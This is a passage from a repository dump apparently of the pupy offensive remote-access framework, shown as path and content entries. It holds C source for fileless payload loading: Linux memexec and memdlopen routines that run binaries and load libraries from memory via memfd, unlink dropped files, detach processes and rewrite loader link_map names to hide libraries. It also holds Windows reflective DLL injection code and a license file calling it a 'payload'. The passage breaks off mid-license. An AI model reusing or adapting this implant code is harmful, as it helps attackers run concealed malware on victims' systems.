%m\\n\");\n        goto _lbClose;\n    }\n\n    if (redirected_stdio) {\n        if (pipe(p_stdin) < 0)\n            goto _lbClose0;\n\n        if (pipe(p_stdout) < 0)\n            goto _lbClose1;\n\n        if (pipe(p_stderr) < 0)\n            goto _lbClose2;\n    }\n\n    pid_t pid = 0;\n    if (detach) {\n        pid = fork();\n        if (pid == -1) {\n            dprint(\"Couldn't fork: %m\\n\");\n            goto _lbClose3;\n        }\n    }\n\n    if (!pid) {\n        pid = fork();\n        if (pid == -1) {\n            exit(1);\n        }\n\n        if (pid) {\n            if (detach) {\n                write(p_wait[1], &pid, sizeof(pid));\n                exit(0);\n            }\n        } else {\n            if (redirected_stdio) {\n                dup2(p_stdin[0], 0);  close(p_stdin[1]);\n                dup2(p_stdout[1], 1); close(p_stdout[0]);\n                dup2(p_stderr[1], 2); close(p_stderr[0]);\n                close(p_wait[0]);\n            } else {\n                int i;\n\n                if (setsid ( ) == -1)\n                    return -1;\n\n                for (i = 0; i < sysconf(_SC_OPEN_MAX); i++)\n                    if (i != p_wait[1])\n                        close(i);\n\n                open (\"/dev/null\", O_RDWR);\n                dup (0);\n                dup (0);\n            }\n\n            set_cloexec_flag(p_wait[1]);\n\n            execv(buf, (char *const *) argv);\n\n            int status = errno;\n            write(p_wait[1], &status, sizeof(status));\n            exit(1);\n        }\n    }\n\n    close(p_wait[1]);\n    p_wait[1] = -1;\n\n    int status = 0;\n    int error = 0;\n    pid_t child_pid = 0;\n\n    if (detach) {\n        if (read(p_wait[0], &child_pid, sizeof(child_pid)) < 0) {\n            dprint(\"Reading child pid failed: %m\\n\");\n            goto _lbClose3;\n        }\n\n        if (waitpid(pid, &status, 0) < 0 || WEXITSTATUS(status) != 0) {\n            dprint(\"Invalid child state\\n\");\n            goto _lbClose3;\n        }\n\n        dprint(\"Detached pid catched and closed: %d status=%d\\n\",\n               pid, WEXITSTATUS(status));\n    } else {\n        child_pid = pid;\n    }\n\n    dprint(\"Wait exec status...\\n\");\n\n    if (read(p_wait[0], &error, sizeof(error)) < 0) {\n        dprint(\"Reading error failed: %m\\n\");\n        goto _lbClose3;\n    }\n\n    dprint(\"Child error status: %d (%d)\\n\", error, errno);\n    if (error)\n        goto _lbClose3;\n\n    dprint(\"Child at %d\\n\", child_pid);\n    if (redirected_stdio) {\n        close(p_stdin[0]);  stdior[0] = p_stdin[1];\n        close(p_stdout[1]); stdior[1] = p_stdout[0];\n        close(p_stderr[1]); stdior[2] = p_stderr[0];\n    }\n\n    close(p_wait[0]);\n    close(fd);\n\n#ifdef Linux\n    if (!is_memfd_path(buf))\n#endif\n    unlink(buf);\n    return child_pid;\n\n _lbClose3:\n    if (redirected_stdio) {\n        close(p_stderr[0]); close(p_stderr[1]);\n    }\n _lbClose2:\n    if (redirected_stdio) {\n        close(p_stdout[0]); close(p_stdout[1]);\n    }\n _lbClose1:\n    if (redirected_stdio) {\n        close(p_stdin[0]); close(p_stdin[1]);\n    }\n _lbClose0:\n    if (p_wait[0] > 0)\n        close(p_wait[0]);\n    if (p_wait[1] > 0)\n        close(p_wait[1]);\n\n _lbClose:\n    close(fd);\n    unlink(buf);\n\n    dprint(\"Exited with error\\n\");\n    return -1;\n}\n\n#ifdef Linux\n\nint remap(const char *path) {\n    char line_buf[PATH_MAX + 256] = {};\n    struct stat dl_stat = {};\n    int remapped = -1;\n\n    if (!path || path[0] == '\\0') {\n        return -1;\n    }\n\n    FILE *maps = fopen(\"/proc/self/maps\", \"r\");\n\n    dprint(\"Remap %s\\n\", path);\n\n    if (!maps) {\n        dprint(\"Remap %s - failed, couldn't read maps\\n\", path);\n        return -1;\n    }\n\n    if (stat(path, &dl_stat) < 0) {\n        dprint(\"Remap %s - failed, stat() failed: %m\\n\", path);\n        goto lbExit;\n    }\n\n    if (dl_stat.st_ino == 0) {\n        dprint(\"Remap %s - failed, stat() failed: st_ino == 0\\n\", path);\n        goto lbExit;\n    }\n\n    while (fgets(line_buf, sizeof(line_buf), maps)) {\n        char addr1[40], addr2[40], perm[8], offset[40],\n            dev[10], inode[40], pathname[PATH_MAX];\n\n        _pmparser_split_line(\n            line_buf, addr1, addr2, perm, offset, dev, inode, pathname\n        );\n\n        unsigned int s_maj = 0, s_min = 0;\n        unsigned short s_dev = 0;\n\n        unsigned long long l_inode = 0;\n\n#if __WORDSIZE == 32\n        unsigned int l_addr_start = 0;\n        unsigned int l_addr_end = 0;\n        unsigned int l_size = 0;\n\n        sscanf(addr1, \"%x\", &l_addr_start);\n        sscanf(addr2, \"%x\", &l_addr_end);\n\n#else\n        unsigned long long l_addr_start = 0;\n        unsigned long long l_addr_end = 0;\n        unsigned long long l_size = 0;\n\n        sscanf(addr1, \"%Lx\", &l_addr_start);\n        sscanf(addr2, \"%Lx\", &l_addr_end);\n#endif\n        l_size = l_addr_end - l_addr_start;\n\n        sscanf(inode, \"%Lu\", &l_inode);\n\n        sscanf(dev, \"%02x:%02x\", &s_maj, &s_min);\n\n        s_dev = (unsigned short) ((s_maj << 8 | s_min) & 0xFFFF);\n\n        if (!(s_dev == dl_stat.st_dev && l_inode == dl_stat.st_ino))\n            continue;\n\n        dprint(\"Remap %s - %p - %p (%s)\\n\", pathname, l_addr_start, l_addr_end, perm);\n\n        int flags = 0;\n\n        if (perm[0] == 'r')\n            flags |= PROT_READ;\n        if (perm[1] == 'w')\n            flags |= PROT_WRITE;\n        if (perm[2] == 'x')\n            flags |= PROT_EXEC;\n\n        void *new_map = MAP_FAILED;\n\n        if (flags) {\n            new_map = mmap(\n                NULL, l_size,\n                PROT_WRITE | PROT_READ,\n                MAP_PRIVATE | MAP_ANONYMOUS,\n                -1, 0\n            );\n\n            if (new_map == MAP_FAILED) {\n                dprint(\"Remap %s - %p - %p (%s) - failed, new mmap: %m\\n\",\n                       pathname, l_addr_start, l_addr_end, perm);\n                continue;\n            }\n\n            memcpy(new_map, (void *) l_addr_start, l_size);\n\n            if (flags != (PROT_READ | PROT_WRITE))\n                if (mprotect(new_map, l_size, flags) != 0) {\n                    dprint(\"Remap %s - %p - %p (%s) - failed, mprotect: %m\\n\",\n                           pathname, l_addr_start, l_addr_end, perm);\n                    munmap(new_map, l_size);\n                    remapped = 0;\n                    continue;\n                }\n\n            if (___mremap(\n                 new_map, l_size, l_size,\n                 MREMAP_FIXED | MREMAP_MAYMOVE,\n                 (void *) l_addr_start) == MAP_FAILED) {\n                dprint(\"Remap %s - %p - %p (%s) - failed, remap: %m\\n\",\n                       pathname, l_addr_start, l_addr_end, perm);\n                munmap(new_map, l_size);\n                remapped = -1;\n            }\n\n        } else {\n            dprint(\"Remap %s - unmap %p - %p (%s) - not required\\n\",\n                   pathname, l_addr_start, l_addr_end, perm);\n            munmap((void *) l_addr_start, l_size);\n            remapped = 0;\n        }\n    }\n\n lbExit:\n    dprint(\"Remap %s - completed\\n\", path);\n    fclose(maps);\n\n    return remapped;\n}\n#else\n\nint remap(const char *path) {\n    return -1;\n}\n\n#endif\n\n\n#if defined(SunOS)\n// For some unknown reason malloc doesn't work on newly created LM in Solaris 10\n// Fallback to old shitty way of loading libs\n// TODO: write own ELF loader\nvoid *_dlopen(int fd, const char *path, int flags, const char *soname) {\n    void *handle = dlopen(path, flags | RTLD_PARENT | RTLD_GLOBAL);\n\n    if (fd != -1) {\n        unlink(path);\n        close(fd);\n    }\n    return handle;\n}\n#elif defined(LM_ID_NEWLM) && defined(Linux)\n\n// Part of private link_map structure\n\nstruct libname_list;\n\nstruct libname_list {\n    char *name;\n    struct libname_list *next;\n    int dont_free;\n};\n\nstruct link_map_private;\n\n/* Dangerous! Hacked link_map structure */\nstruct link_map_private {\n    void *l_addr;\n    char *l_name;\n    void *l_ld;\n    struct link_map_private *l_next, *l_prev;\n\n    /* ------------- private part starts here ----------------- */\n\n    struct link_map_private *l_real; // dlmopen\n    Lmid_t l_ns;                     // dlmopen\n    struct libname_list *l_libname;  // ancient\n\n    /* ------------- .... and there much more ----------------- */\n};\n\nvoid *_dlopen(int fd, const char *path, int flags, const char *soname) {\n    void *handle = NULL;\n\n#if defined(WIP_LMID)\n    static Lmid_t lmid = LM_ID_BASE;\n    static int need_lmid_checked = 0;\n\n    if (!need_lmid_checked) {\n        if (dlsym(NULL, \"PyEval_InitThreads\")) {\n            lmid = LM_ID_NEWLM;\n            dprint(\"Python library found, require LMID\\n\");\n        } else {\n            dprint(\"Python library not found\\n\");\n        }\n\n        need_lmid_checked = 1;\n    }\n\n    if (lmid != LM_ID_BASE) {\n        flags &= ~RTLD_GLOBAL;\n\n        if ((flags & RTLD_NOLOAD) && (lmid == LM_ID_NEWLM))\n            return NULL;\n\n        dprint(\"dlmopen(%d, %s, %08x)\\n\", lmid, path, flags);\n        handle = dlmopen(lmid, path, flags);\n        dprint(\"dlmopen(%d, %s, %08x) = %p\\n\", lmid, path, flags, handle);\n        if (lmid == LM_ID_NEWLM && handle) {\n            dlinfo(handle, RTLD_DI_LMID, &lmid);\n            dprint(\"memdlopen - dlmopen - new lmid created: %08x\\n\", lmid);\n        }\n    } else {\n        handle = dlopen(path, flags);\n    }\n\n#else\n    static Lmid_t lmid = LM_ID_BASE;\n    handle = dlopen(path, flags);\n#endif\n\n    dprint(\"memdlopen - dlmopen - _dlopen(lmid=%08x, %s, %s); handle=%p\\n\", lmid, path, soname, handle);\n\n    if (flags & RTLD_NOLOAD || !handle) {\n        return handle;\n    }\n\n    bool is_memfd = is_memfd_path(path);\n    bool linkmap_hacked = false;\n\n    remap(path);\n\n    if (soname) {\n        struct link_map_private *linkmap = NULL;\n        dlinfo(handle, RTLD_DI_LINKMAP, &linkmap);\n\n        /* If memfd, then try to verify as best as possible that all that\n           addresses are valid. If not - there is no reason to touch this\n        */\n\n        if (is_memfd) {\n            if (linkmap && linkmap->l_ns == lmid &&\n                linkmap->l_libname && linkmap->l_libname->name &&\n                !strncmp(linkmap->l_name, linkmap->l_libname->name, strlen(linkmap->l_name))) {\n\n                dprint(\"memdlopen - change l_name %s|%p (%s|%p) -> %s (linkmap: %p)\\n\",\n                       linkmap->l_name, linkmap->l_name,\n                       linkmap->l_libname->name,\n                       linkmap->l_libname->name,\n                       soname, linkmap);\n\n                /* Do not care about leaks. It's not the worst thing to happen */\n                linkmap->l_name = strdup(soname);\n                linkmap->l_libname->name = strdup(soname);\n\n                linkmap_hacked = true;\n            } else {\n                dprint(\"memdlopen - bad signature (lmid=%08x name1=%s name2=%s)\\n\",\n                       linkmap->l_ns, linkmap->l_name, linkmap->l_libname->name);\n            }\n        }\n\n        if (!is_memfd || linkmap_hacked) {\n            /* If linkmap altered or it's not memfd, then delete/close path/fd */\n            if (!is_memfd)\n                unlink(path);\n\n            close(fd);\n        }\n    }\n\n    return handle;\n}\n#else\n\n/* Linux x86 or any other thing */\n\nvoid *_dlopen(int fd, const char *path, int flags, const char *soname) {\n\n    /* Try to fallback to symlink hack */\n\n    bool is_memfd = is_memfd_path(path);\n    char fake_path[PATH_MAX] = {};\n\n    const char *effective_path = path;\n\n    static const char DROP_PATH[] = \"/dev/shm/memfd:\";\n\n    if (is_memfd) {\n        int i;\n\n        snprintf(fake_path, sizeof(fake_path), \"%s%s\", DROP_PATH, soname);\n        for (i=sizeof(DROP_PATH)-1; fake_path[i]; i++)\n            if (fake_path[i] == '/')\n                fake_path[i] = '!';\n\n        if (symlink(path, fake_path) == 0) {\n            effective_path = fake_path;\n            is_memfd = false;\n        } else {\n            dprint(\"symlink error %s -> %s: %m\\n\", path, fake_path);\n        }\n    }\n\n    void *handle = dlopen(effective_path, flags);\n\n    remap(effective_path);\n\n    if (fd != -1) {\n        unlink(effective_path);\n\n        /*\n          If all workarounds failed we have nothing to do but leave this as\n          is*/\n\n        if (!is_memfd)\n            close(fd);\n    }\n    return handle;\n}\n#endif\n\n// https://github.com/ouadev/proc_maps_parser/blob/master/pmparser.c\nvoid _pmparser_split_line(\n    char *buf, char *addr1, char *addr2,\n    char *perm, char *offset, char *device, char *inode,\n    char *pathname) {\n\n    int orig=0;\n    int i=0;\n\n    while (buf[i] != '-') {\n        addr1[i-orig] = buf[i];\n        i++;\n    }\n\n    addr1[i] = '\\0';\n    i++;\n\n    orig = i;\n\n    while (buf[i] != '\\t' && buf[i] != ' ') {\n        addr2[i-orig] = buf[i];\n        i++;\n    }\n\n    addr2[i-orig] = '\\0';\n\n    while (buf[i]=='\\t' || buf[i]==' ')\n        i++;\n\n    orig = i;\n\n    while (buf[i]!='\\t' && buf[i]!=' ') {\n        perm[i-orig] = buf[i];\n        i++;\n    }\n    perm[i-orig] = '\\0';\n\n    while (buf[i] == '\\t' || buf[i] == ' ')\n        i++;\n\n    orig = i;\n    while (buf[i] != '\\t' && buf[i] != ' ') {\n        offset[i-orig]=buf[i];\n        i++;\n    }\n    offset[i-orig] = '\\0';\n\n    while (buf[i] == '\\t' || buf[i] == ' ')\n        i++;\n\n    orig = i;\n    while (buf[i] != '\\t' && buf[i] != ' ') {\n        device[i-orig] = buf[i];\n        i++;\n    }\n    device[i-orig]='\\0';\n\n    //inode\n    while (buf[i] == '\\t' || buf[i] == ' ')\n        i++;\n    orig=i;\n\n    while (buf[i] != '\\t' && buf[i] != ' ') {\n        inode[i-orig] = buf[i];\n        i++;\n    }\n    inode[i-orig] = '\\0';\n\n    //pathname\n    pathname[0] = '\\0';\n    while (buf[i] == '\\t' || buf[i] == ' ')\n        i++;\n\n    orig = i;\n    while (buf[i] != '\\t' && buf[i] != ' ' && buf[i] != '\\n') {\n        pathname[i-orig] = buf[i];\n        i++;\n    }\n    pathname[i-orig] = '\\0';\n}\n\n\nvoid *memdlopen(const char *soname, const char *buffer, size_t size, int flags) {\n    dprint(\"memdlopen(\\\"%s\\\", %p, %ull)\\n\", soname, buffer, size);\n\n    void *base = _dlopen(-1, soname, RTLD_NOLOAD, NULL);\n    if (base) {\n        dprint(\"Library \\\"%s\\\" loaded from OS\\n\", soname);\n        return base;\n    }\n\n    char buf[PATH_MAX]={};\n\n#if defined(DEBUG) || defined(SunOS)\n    if (soname)\n        strncpy(buf, soname, sizeof(buf)-1);\n#endif\n\n    int fd = drop_library(buf, sizeof(buf)-1, buffer, size);\n\n    if (fd < 0) {\n        dprint(\"Couldn't drop library %s: %m\\n\", soname);\n        return NULL;\n    }\n\n    dprint(\"dlopen(%s, %08x)\\n\", buf, flags);\n    base = _dlopen(fd, buf, flags, soname);\n    dprint(\"dlopen(%s, %08x) = %p\\n\", buf, flags, base);\n\n    if (!base) {\n        dprint(\"Couldn't load library %s (%s): %s\\n\", soname, buf, dlerror());\n        return NULL;\n    }\n\n    remap(base);\n\n    dprint(\"Library %s loaded to %p\\n\", soname, base);\n\n    return base;\n}\n"
  },
  {
    "path": "client/sources-linux-py3/tmplibrary.h",
    "content": "#ifndef TMPLIBRARY_H\n#define TMPLIBRARY_H\n\n#define _GNU_SOURCE\n#include <dlfcn.h>\n\n#include <sys/types.h>\n#include <stdbool.h>\n\n#include <link.h>\n\n#ifndef RTLD_DI_LINKMAP\n#define RTLD_DI_LINKMAP 2\n#endif\n\nint _dlinfo(void *handle, int request, void *info);\nvoid *_dlopen(int fd, const char *path, int flags, const char *soname);\n\nvoid *memdlopen(const char *soname, const char *buffer, size_t size, int flags);\nint drop_library(char *path, size_t path_size, const char *buffer, size_t size);\npid_t memexec(const char *buffer, size_t size, const char *const* argv, int stdior[3],\n              bool redirected_stdio, bool detach);\n\nint remap(const char *path);\n\n#endif /* TMPLIBRARY_H */\n"
  },
  {
    "path": "client/sources-windows-py3/.gitignore",
    "content": "import-tab.c\nimport-tab.h\nresources\nrevision.h\n"
  },
  {
    "path": "client/sources-windows-py3/GetProcAddressR.c",
    "content": "//===============================================================================================//\r\n// Copyright (c) 2013, Stephen Fewer of Harmony Security (www.harmonysecurity.com)\r\n// All rights reserved.\r\n// \r\n// Redistribution and use in source and binary forms, with or without modification, are permitted \r\n// provided that the following conditions are met:\r\n// \r\n//     * Redistributions of source code must retain the above copyright notice, this list of \r\n// conditions and the following disclaimer.\r\n// \r\n//     * Redistributions in binary form must reproduce the above copyright notice, this list of \r\n// conditions and the following disclaimer in the documentation and/or other materials provided \r\n// with the distribution.\r\n// \r\n//     * Neither the name of Harmony Security nor the names of its contributors may be used to\r\n// endorse or promote products derived from this software without specific prior written permission.\r\n// \r\n// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS \"AS IS\" AND ANY EXPRESS OR \r\n// IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND\r\n// FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR \r\n// CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR \r\n// CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR \r\n// SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY \r\n// THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR \r\n// OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE \r\n// POSSIBILITY OF SUCH DAMAGE.\r\n//===============================================================================================//\r\n#include \"GetProcAddressR.h\"\r\n//===============================================================================================//\r\n// We implement a minimal GetProcAddress to avoid using the native kernel32!GetProcAddress which\r\n// wont be able to resolve exported addresses in reflectivly loaded librarys.\r\nFARPROC WINAPI GetProcAddressR( HANDLE hModule, LPCSTR lpProcName )\r\n{\r\n    UINT_PTR uiLibraryAddress = 0;\r\n    FARPROC fpResult          = NULL;\r\n\r\n    if( hModule == NULL )\r\n        return NULL;\r\n\r\n    // a module handle is really its base address\r\n    uiLibraryAddress = (UINT_PTR)hModule;\r\n\r\n    __try\r\n    {\r\n        UINT_PTR uiAddressArray = 0;\r\n        UINT_PTR uiNameArray    = 0;\r\n        UINT_PTR uiNameOrdinals = 0;\r\n        PIMAGE_NT_HEADERS pNtHeaders             = NULL;\r\n        PIMAGE_DATA_DIRECTORY pDataDirectory     = NULL;\r\n        PIMAGE_EXPORT_DIRECTORY pExportDirectory = NULL;\r\n            \r\n        // get the VA of the modules NT Header\r\n        pNtHeaders = (PIMAGE_NT_HEADERS)(uiLibraryAddress + ((PIMAGE_DOS_HEADER)uiLibraryAddress)->e_lfanew);\r\n\r\n        pDataDirectory = (PIMAGE_DATA_DIRECTORY)&pNtHeaders->OptionalHeader.DataDirectory[ IMAGE_DIRECTORY_ENTRY_EXPORT ];\r\n\r\n        // get the VA of the export directory\r\n        pExportDirectory = (PIMAGE_EXPORT_DIRECTORY)( uiLibraryAddress + pDataDirectory->VirtualAddress );\r\n            \r\n        // get the VA for the array of addresses\r\n        uiAddressArray = ( uiLibraryAddress + pExportDirectory->AddressOfFunctions );\r\n\r\n        // get the VA for the array of name pointers\r\n        uiNameArray = ( uiLibraryAddress + pExportDirectory->AddressOfNames );\r\n                \r\n        // get the VA for the array of name ordinals\r\n        uiNameOrdinals = ( uiLibraryAddress + pExportDirectory->AddressOfNameOrdinals );\r\n\r\n        // test if we are importing by name or by ordinal...\r\n        if( ((DWORD)lpProcName & 0xFFFF0000 ) == 0x00000000 )\r\n        {\r\n            // import by ordinal...\r\n\r\n            // use the import ordinal (- export ordinal base) as an index into the array of addresses\r\n            uiAddressArray += ( ( IMAGE_ORDINAL( (DWORD)lpProcName ) - pExportDirectory->Base ) * sizeof(DWORD) );\r\n\r\n            // resolve the address for this imported function\r\n            fpResult = (FARPROC)( uiLibraryAddress + DEREF_32(uiAddressArray) );\r\n        }\r\n        else\r\n        {\r\n            // import by name...\r\n            DWORD dwCounter = pExportDirectory->NumberOfNames;\r\n            while( dwCounter-- )\r\n            {\r\n                char * cpExportedFunctionName = (char *)(uiLibraryAddress + DEREF_32( uiNameArray ));\r\n                \r\n                // test if we have a match...\r\n                if( strcmp( cpExportedFunctionName, lpProcName ) == 0 )\r\n                {\r\n                    // use the functions name ordinal as an index into the array of name pointers\r\n                    uiAddressArray += ( DEREF_16( uiNameOrdinals ) * sizeof(DWORD) );\r\n                    \r\n                    // calculate the virtual address for the function\r\n                    fpResult = (FARPROC)(uiLibraryAddress + DEREF_32( uiAddressArray ));\r\n                    \r\n                    // finish...\r\n                    break;\r\n                }\r\n                        \r\n                // get the next exported function name\r\n                uiNameArray += sizeof(DWORD);\r\n\r\n                // get the next exported function name ordinal\r\n                uiNameOrdinals += sizeof(WORD);\r\n            }\r\n        }\r\n    }\r\n    __except( EXCEPTION_EXECUTE_HANDLER )\r\n    {\r\n        fpResult = NULL;\r\n    }\r\n\r\n    return fpResult;\r\n}\r\n//===============================================================================================//\r\n"
  },
  {
    "path": "client/sources-windows-py3/GetProcAddressR.h",
    "content": "//===============================================================================================//\n// Copyright (c) 2013, Stephen Fewer of Harmony Security (www.harmonysecurity.com)\n// All rights reserved.\n//\n// Redistribution and use in source and binary forms, with or without modification, are permitted\n// provided that the following conditions are met:\n//\n//     * Redistributions of source code must retain the above copyright notice, this list of\n// conditions and the following disclaimer.\n//\n//     * Redistributions in binary form must reproduce the above copyright notice, this list of\n// conditions and the following disclaimer in the documentation and/or other materials provided\n// with the distribution.\n//\n//     * Neither the name of Harmony Security nor the names of its contributors may be used to\n// endorse or promote products derived from this software without specific prior written permission.\n//\n// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS \"AS IS\" AND ANY EXPRESS OR\n// IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND\n// FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR\n// CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR\n// CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR\n// SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY\n// THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR\n// OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE\n// POSSIBILITY OF SUCH DAMAGE.\n//===============================================================================================//\n#ifndef _REFLECTIVEDLLINJECTION_GETPROCADDRESSR_H\n#define _REFLECTIVEDLLINJECTION_GETPROCADDRESSR_H\n//===============================================================================================//\n#include \"ReflectiveDLLInjection.h\"\n\nFARPROC WINAPI GetProcAddressR( HANDLE hModule, LPCSTR lpProcName );\n//===============================================================================================//\n#endif\n//===============================================================================================//\n"
  },
  {
    "path": "client/sources-windows-py3/LICENSES.txt",
    "content": "The windows reflective DLL and exe payload for pupy contains source code from differents projects with differents licenses.\nAll the files not from one of these projects is under pupy's license (BSD 3-Clause license)\nThese projects include :\n\n----------------------------------------------------------------------------------\n-py2exe : under MIT License (http://sourceforge.net/projects/py2exe/)\n\tCopyright (c) 2000-2008 Thomas Heller, Mark Hammond, Jimmy Retzlaff\n\n\tPermission is hereby granted, free of charge, to any person obtaining\n\ta copy of this software and associated documentation files (the\n\t\"Software\"), to deal in the Software without restriction, including\n\twithout limitation the rights to use, copy, modify, merge, publish,\n\tdistribute, sublicense, and/or sell copies of the Software, and to\n\tpermit persons to whom the Software is furnished to do so, subject to\n\tthe following conditions:\n\n\tThe above copyright notice and this permission notice shall be\n\tincluded in all copies or substantial portions of the Software.\n\n\tTHE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND,\n\tEXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF\n\tMERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND\n\tNONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE\n\tLIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION\n\tOF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION\n\tWITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.\n\n----------------------------------------------------------------------------------\n\n-ReflectiveDLLInjection from https://github.com/stephenfewer/ReflectiveDLLInjection\n\tCopyright (c) 2011, Stephen Fewer of Harmony Security (www.harmonysecurity.com)\n\tAll rights reserved.\n\n\tRedistribution and use in source and binary forms, with or without modification, are permitted \n\tprovided that the following conditions are met:\n\n\t* Redistributions of source code must retain the above copyright notice, this list of \n\tconditions and the following disclaimer.\n\n\t* Redistributions in binary form must reproduce the above copyright notice, this list of \n\tconditions and the following disclaimer in the documentation and/or other materials provided \n\twith the distribution.\n\n\t* Neither the name of Harmony Security nor the names of its contributors may be used to\n\tendorse or promote products derived from this software without specific prior written permission.\n\n\tTHIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS \"AS IS\" AND ANY EXPRESS OR \n\tIMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND\n\tFITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR \n\tCONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR \n\tCONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR \n\tSERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY \n\tTHEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR \n\tOTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE \n\tPOSSIBILITY OF SUCH DAMAGE.\n\n----------------------------------------------------------------------------------\n\n-meterpreter (3-clause BSD license)\n\tMeterpreter is available for use under the following license, commonly known as the\n\t3-clause (or \"modified\") BSD license:\n\n\t=========================================================================================\n\n\tMeterpreter\n\t-----------\n\n\tCopyright (c) 2006-2013, Rapid7 Inc\n\n\tRedistribution and use in source and binary forms, with or without modification, are\n\tpermitted provided that the following conditions are met:\n\n\t* Redistributions of source code must retain the above copyright notice, this list of\n\tconditions and the following disclaimer.\n\n\t* Redistributions in binary form must reproduce the above copyright notice, this list of\n\tconditions and the following disclaimer in the documentation and/or other materials\n\tprovided with the distribution.\n\n\t* Neither the name of Rapid7 nor the names of its contributors may be used to endorse or\n\tpromote products derived from this software without specific prior written permission.\n\n\tTHIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS \"AS IS\" AND ANY\n\tEXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF\n\tMERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL\n\tTHE COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,\n\tSPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT\n\tOF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)\n\tHOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR\n\tTORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS\n\tSOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.\n\n\n"
  },
  {
    "path": "client/sources-windows-py3/LoadLibraryR.c",
    "content": "//===============================================================================================//\r\n// Copyright (c) 2012, Stephen Fewer of Harmony Security (www.harmonysecurity.com)\r\n// All rights reserved.\r\n// \r\n// Redistribution and use in source and binary forms, with or without modification, are permitted \r\n// provided that the following conditions are met:\r\n// \r\n//     * Redistributions of source code must retain the above copyright notice, this list of \r\n// conditions and the following disclaimer.\r\n// \r\n//     * Redistributions in binary form must reproduce the above copyright notice, this list of \r\n// conditions and the following disclaimer in the documentation and/or other materials provided \r\n// with the distribution.\r\n// \r\n//     * Neither the name of Harmony Security nor the names of its contributors may be used to\r\n// endorse or promote products derived from this software without specific prior written permission.\r\n// \r\n// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS \"AS IS\" AND ANY EXPRESS OR \r\n// IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND\r\n// FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR \r\n// CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR \r\n// CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR \r\n// SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY \r\n// THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT 